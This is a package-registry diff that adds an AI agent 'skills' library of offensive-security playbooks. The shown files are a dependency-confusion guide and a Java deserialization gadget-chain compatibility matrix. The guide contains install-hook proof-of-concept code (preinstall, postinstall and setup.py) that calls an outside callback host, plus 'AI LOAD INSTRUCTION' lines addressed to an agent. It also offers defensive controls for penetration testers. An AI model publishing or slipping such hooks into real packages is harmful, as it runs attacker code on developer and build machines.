ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,178 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: dependency-confusion
|
|
3
|
+
description: >-
|
|
4
|
+
Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Dependency Confusion — Supply Chain Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. **Only use on systems and programs you are authorized to test.**
|
|
10
|
+
|
|
11
|
+
## 0. QUICK START
|
|
12
|
+
|
|
13
|
+
**What to look for first**
|
|
14
|
+
|
|
15
|
+
- **Manifests** listing package names that look **internal** (short unscoped names, org-specific tokens, product codenames) without a **hard-private registry lock**.
|
|
16
|
+
- Evidence the **same name** might exist—or be **squattable**—on a **public** registry with a **higher semver** than the private feed publishes.
|
|
17
|
+
- **Lockfiles** missing, stale, or not enforced in CI so `install`/`build` can drift toward public metadata.
|
|
18
|
+
|
|
19
|
+
**Fast mental model**: *If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.*
|
|
20
|
+
|
|
21
|
+
Routing note: if the task comes from supply-chain, repository exposure, or CI-build recon, first use `recon-for-sec` to list internal package names and possible public-registry collisions.
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 1. CORE CONCEPT
|
|
26
|
+
|
|
27
|
+
1. **Private packages**: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like `@org-scope/internal-utils` or an **unscoped** name such as `acme-billing-sdk`.
|
|
28
|
+
2. **Attacker squats the name**: The same package name is published on a **public** registry (npmjs, PyPI, RubyGems, etc.).
|
|
29
|
+
3. **Resolver preference**: Many setups resolve **highest matching version** across **all configured indexes** (or merge metadata), so a public `9.9.9` can beat a private `1.2.3` if ranges allow.
|
|
30
|
+
4. **Execution**: Package managers run **lifecycle scripts** (npm `preinstall`/`postinstall`, setuptools entry points, etc.) → **attacker code runs** on developer laptops, CI, or production image builds.
|
|
31
|
+
|
|
32
|
+
This is a **supply-chain** class issue: impact is often **broad** (many consumers) and **silent** until build or runtime hooks fire.
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## 2. AFFECTED ECOSYSTEMS
|
|
37
|
+
|
|
38
|
+
| Ecosystem | Typical manifest | Confusion angle |
|
|
39
|
+
|-----------|------------------|-----------------|
|
|
40
|
+
| **npm** | `package.json` | **Scoped** packages (`@scope/pkg`) are **safer** when the scope is **owned** on the registry; **unscoped** private-style names are **high risk**. Multiple registries / `.npmrc` `registry` vs per-scope `@scope:registry=` misconfiguration increases risk. |
|
|
41
|
+
| **pip** | `requirements.txt`, `pyproject.toml`, `setup.py` | `pip install -i` / **`--extra-index-url`** merges indexes; a public index can serve a **higher version** for the same distribution name. |
|
|
42
|
+
| **RubyGems** | `Gemfile` | **`source`** order and additional sources; ambiguous gem names reachable from rubygems.org. |
|
|
43
|
+
| **Maven** | `pom.xml` | **Repository** declaration **order** and **mirror** settings; a public repo publishing the same `groupId:artifactId` under a higher version can win if policy allows. |
|
|
44
|
+
| **Composer** | `composer.json` | **Packagist** is default; private packages without **`repositories`**/`canonical` discipline may collide with public names. |
|
|
45
|
+
| **Docker** | `FROM`, image tags | **Typosquatting** on container registries (e.g. public hub) for images with names similar to internal base images. |
|
|
46
|
+
|
|
47
|
+
---
|
|
48
|
+
|
|
49
|
+
## 3. RECONNAISSANCE
|
|
50
|
+
|
|
51
|
+
**Where internal names leak**
|
|
52
|
+
|
|
53
|
+
- Committed **`package.json`**, **`requirements.txt`**, **`Gemfile`**, **`pom.xml`**, **`composer.json`** in repos or forks.
|
|
54
|
+
- **JavaScript source maps**, bundled assets, or **error stack traces** referencing package paths.
|
|
55
|
+
- **`.npmrc`**, **`.pypirc`**, **CI logs** showing install URLs or mirror endpoints.
|
|
56
|
+
- **Issue trackers**, **gist snippets**, and **dependency graphs** from SBOM exports.
|
|
57
|
+
|
|
58
|
+
**Check public squatting / claimability (read-only)**
|
|
59
|
+
|
|
60
|
+
```bash
|
|
61
|
+
# npm — metadata for a name (unscoped)
|
|
62
|
+
npm view some-internal-package-name version
|
|
63
|
+
|
|
64
|
+
# npm — scoped (requires scope to exist / be readable)
|
|
65
|
+
npm view @some-scope/internal-lib versions --json
|
|
66
|
+
|
|
67
|
+
# PyPI — dry-run style version probe (adjust name; fails if not found)
|
|
68
|
+
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
|
|
69
|
+
|
|
70
|
+
# RubyGems — query remote
|
|
71
|
+
gem search '^some-internal-package-name$' --remote
|
|
72
|
+
|
|
73
|
+
# Maven Central — search coordinates (example pattern)
|
|
74
|
+
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
Routing note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## 4. EXPLOITATION
|
|
82
|
+
|
|
83
|
+
**Authorized testing pattern**
|
|
84
|
+
|
|
85
|
+
1. **Register** (or use a controlled namespace) the **same package name** on the public registry your target resolver can reach.
|
|
86
|
+
2. Publish a **higher semver** than the legitimate internal line **within the victim’s declared range** (e.g. `^1.0.0` → publish `9.9.9`).
|
|
87
|
+
3. Add **lifecycle hooks** that prove execution without harming hosts—prefer **DNS/HTTP callback** to a collaborator you control, **no destructive writes**.
|
|
88
|
+
|
|
89
|
+
**npm `package.json` — minimal callback-style PoC (illustrative)**
|
|
90
|
+
|
|
91
|
+
```json
|
|
92
|
+
{
|
|
93
|
+
"name": "some-internal-package-name",
|
|
94
|
+
"version": "9.9.9",
|
|
95
|
+
"description": "authorized dependency-confusion PoC only",
|
|
96
|
+
"scripts": {
|
|
97
|
+
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
**npm `package.json` — shell + curl fallback (illustrative)**
|
|
103
|
+
|
|
104
|
+
```json
|
|
105
|
+
{
|
|
106
|
+
"scripts": {
|
|
107
|
+
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
**pip — setup hook pattern (illustrative; use only in authorized lab packages)**
|
|
113
|
+
|
|
114
|
+
```python
|
|
115
|
+
# setup.py (excerpt)
|
|
116
|
+
from setuptools import setup
|
|
117
|
+
from setuptools.command.install import install
|
|
118
|
+
|
|
119
|
+
class PoCInstall(install):
|
|
120
|
+
def run(self):
|
|
121
|
+
import urllib.request
|
|
122
|
+
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
|
|
123
|
+
install.run(self)
|
|
124
|
+
|
|
125
|
+
setup(
|
|
126
|
+
name="some-internal-package-name",
|
|
127
|
+
version="9.9.9",
|
|
128
|
+
cmdclass={"install": PoCInstall},
|
|
129
|
+
)
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
**Reference implementation (study / lab)**: community PoC layout and workflow similar to [`0xsapra/dependency-confusion-exploit`](https://github.com/0xsapra/dependency-confusion-exploit) — automate version bump, publish, and callback confirmation **only where you have written permission**.
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## 5. TOOLS
|
|
137
|
+
|
|
138
|
+
| Tool | Role |
|
|
139
|
+
|------|------|
|
|
140
|
+
| [**visma-prodsec/confused**](https://github.com/visma-prodsec/confused) | Scans manifest files for dependency names that may be **claimable** on public registries (multi-ecosystem). |
|
|
141
|
+
| [**synacktiv/DepFuzzer**](https://github.com/synacktiv/DepFuzzer) | Automated **dependency confusion** testing workflows (use strictly in-scope). |
|
|
142
|
+
|
|
143
|
+
Run these only against **your** manifests or **authorized** engagements; do not use to squat names for unrelated third parties.
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
## 6. DEFENSE
|
|
148
|
+
|
|
149
|
+
- **npm**: Prefer **scoped** packages (`@org-scope/pkg`) with **org-owned** scopes; set **`.npmrc`** so private scopes map to private registry and **default `registry`** is not accidentally public for internal names.
|
|
150
|
+
- **Pinning**: **Exact versions** + **lockfiles** (`package-lock.json`, `poetry.lock`, `Gemfile.lock`, `composer.lock`) enforced in CI.
|
|
151
|
+
- **pip**: Avoid careless **`--extra-index-url`**; prefer **single private index** with **mirroring**, or **explicit `--index-url`** policies in CI.
|
|
152
|
+
- **Maven / Gradle**: Control **repository order**, use **internal mirrors**, and **block** unexpected groupIds on release pipelines.
|
|
153
|
+
- **Composer**: Use **`repositories`** with **`canonical: true`** for private packages; verify Packagist is not introducing unexpected vendors.
|
|
154
|
+
- **Defensive registration**: **Reserve** internal names on public registries (squat your own names) where policy allows.
|
|
155
|
+
- **Monitoring**: Tools such as **Socket.dev**, **Snyk**, or similar SBOM/supply-chain scanners to alert on **new publishers** or **version jumps** for critical packages.
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## 7. DECISION TREE
|
|
160
|
+
|
|
161
|
+
```text
|
|
162
|
+
Do manifests reference package names that could be non-unique globally?
|
|
163
|
+
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
|
|
164
|
+
└─ YES
|
|
165
|
+
├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
|
|
166
|
+
│ ├─ YES → Lower risk; still verify CI and developer machines do not override config.
|
|
167
|
+
│ └─ NO → HIGH RISK
|
|
168
|
+
│ ├─ Can a public registry publish a HIGHER version inside declared ranges?
|
|
169
|
+
│ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
|
|
170
|
+
│ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
|
|
171
|
+
│ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## Related routing
|
|
177
|
+
|
|
178
|
+
- **From `recon-for-sec`**: When doing **supply-chain reconnaissance**, cross-link leaked manifests and internal package identifiers with the checks in **Section 3** and the decision tree in **Section 7** before proposing any publish/PoC steps.
|
|
@@ -0,0 +1,511 @@
|
|
|
1
|
+
# Java Gadget Chains & Cross-Language Deserialization Deep Dive
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this when you need Java gadget chain version compatibility, SnakeYAML/Hessian/Kryo patterns, .NET ViewState forgery details, Ruby YAML exploitation, or deserialization fingerprint magic bytes. Assumes the main [SKILL.md](./SKILL.md) is already loaded for ysoserial basics, PHP/Python fundamentals.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. JAVA GADGET CHAIN VERSION COMPATIBILITY MATRIX
|
|
8
|
+
|
|
9
|
+
### 1.1 CommonsCollections Chains
|
|
10
|
+
|
|
11
|
+
| Chain | Library | Version Range | JDK Constraint | Execution Type |
|
|
12
|
+
|---|---|---|---|---|
|
|
13
|
+
| **CC1** | Commons Collections 3.x | 3.0–3.2.1 | JDK < 8u72 (InvokerTransformer filter) | `Runtime.exec()` |
|
|
14
|
+
| **CC2** | Commons Collections 4.x | 4.0 | None (uses `TemplatesImpl`) | Bytecode execution |
|
|
15
|
+
| **CC3** | Commons Collections 3.x | 3.0–3.2.1 | JDK < 8u72 | `TemplatesImpl` (bytecode) |
|
|
16
|
+
| **CC4** | Commons Collections 4.x | 4.0 | None | `TemplatesImpl` |
|
|
17
|
+
| **CC5** | Commons Collections 3.x | 3.0–3.2.1 | JDK ≥ 8 OK (no `InvokerTransformer` check needed) | `Runtime.exec()` via `TiedMapEntry` |
|
|
18
|
+
| **CC6** | Commons Collections 3.x | 3.1–3.2.1 | All JDK versions | `Runtime.exec()` via `HashSet` trigger |
|
|
19
|
+
| **CC7** | Commons Collections 3.x | 3.1–3.2.1 | All JDK versions | `Runtime.exec()` via `Hashtable` |
|
|
20
|
+
|
|
21
|
+
**Recommended priority**: CC6 → CC7 → CC5 (broadest compatibility, no JDK version constraint).
|
|
22
|
+
|
|
23
|
+
### 1.2 CommonsBeanutils Chains
|
|
24
|
+
|
|
25
|
+
| Chain | Library | Version Range | Notes |
|
|
26
|
+
|---|---|---|---|
|
|
27
|
+
| **CB1** | Commons BeanUtils 1.x + Commons Collections 3.x | BU 1.6.1–1.9.4, CC ≤ 3.2.1 | `PropertyUtils.getProperty` → `TemplatesImpl` |
|
|
28
|
+
| **CB1 (no-CC)** | Commons BeanUtils 1.x only | BU 1.8.3–1.9.4 | Requires `commons-logging`; no CC dependency |
|
|
29
|
+
|
|
30
|
+
### 1.3 Spring Framework Chains
|
|
31
|
+
|
|
32
|
+
| Chain | Library | Version Range | Notes |
|
|
33
|
+
|---|---|---|---|
|
|
34
|
+
| **Spring1** | Spring Core + Spring Beans | 4.1.4 (known), varies | `MethodInvokeTypeProvider` → `TemplatesImpl` |
|
|
35
|
+
| **Spring2** | Spring Core | 4.1.4 | `ObjectFactoryDelegatingInvocationHandler` |
|
|
36
|
+
|
|
37
|
+
### 1.4 JDK-Only Chains (No External Dependencies)
|
|
38
|
+
|
|
39
|
+
| Chain | JDK Version | Notes |
|
|
40
|
+
|---|---|---|
|
|
41
|
+
| **Jdk7u21** | JDK 7u21 | `AnnotationInvocationHandler` + `TemplatesImpl`; patched in 7u25 |
|
|
42
|
+
| **JRMPClient** | All | Triggers JRMP call to attacker RMI server (not direct RCE, but enables chaining) |
|
|
43
|
+
| **JRMPListener** | All | Opens RMI listener on victim (less useful) |
|
|
44
|
+
| **URLDNS** | All | DNS-only; confirmation probe, no RCE |
|
|
45
|
+
|
|
46
|
+
### 1.5 Other Notable Chains
|
|
47
|
+
|
|
48
|
+
| Chain | Library | Notes |
|
|
49
|
+
|---|---|---|
|
|
50
|
+
| **Groovy1** | Groovy 1.7–2.4 | `MethodClosure` + `ConvertedClosure` |
|
|
51
|
+
| **Hibernate1** | Hibernate 5.x (with `javassist` or `cglib`) | `BasicLazyInitializer` → `TemplatesImpl` |
|
|
52
|
+
| **Hibernate2** | Hibernate 5.x | Via `AbstractComponentTuplizer` |
|
|
53
|
+
| **JBossInterceptors1** | JBoss Interceptors + weld-core | Rarely seen in modern apps |
|
|
54
|
+
| **Myfaces1** | Apache MyFaces 1.x | `ViewState` deserialization |
|
|
55
|
+
| **Myfaces2** | Apache MyFaces 2.x | `ViewState` deserialization |
|
|
56
|
+
| **ROME** | ROME 1.0 | `ObjectBean` → `EqualsBean` → `ToStringBean` |
|
|
57
|
+
| **Vaadin1** | Vaadin framework | `PropertysetItem` chain |
|
|
58
|
+
| **Wicket1** | Apache Wicket | Requires specific classpath setup |
|
|
59
|
+
| **C3P0** | C3P0 connection pool | `PoolBackedDataSource` → JNDI or URL classloading |
|
|
60
|
+
| **Clojure** | Clojure runtime | `core$fn` → arbitrary function execution |
|
|
61
|
+
| **BeanShell1** | BeanShell 2.x | `XThis` + `Interpreter.eval()` |
|
|
62
|
+
| **Jython1** | Jython | `PyFunction` → arbitrary Python execution in JVM |
|
|
63
|
+
| **MozillaRhino1/2** | Mozilla Rhino JS engine | `NativeJavaObject` chains |
|
|
64
|
+
|
|
65
|
+
### 1.6 Chain Selection Decision Tree
|
|
66
|
+
|
|
67
|
+
```
|
|
68
|
+
Identify target libraries (error messages, pom.xml, /META-INF/MANIFEST.MF):
|
|
69
|
+
├── Commons Collections 3.x on classpath?
|
|
70
|
+
│ ├── JDK < 8u72 → CC1, CC3
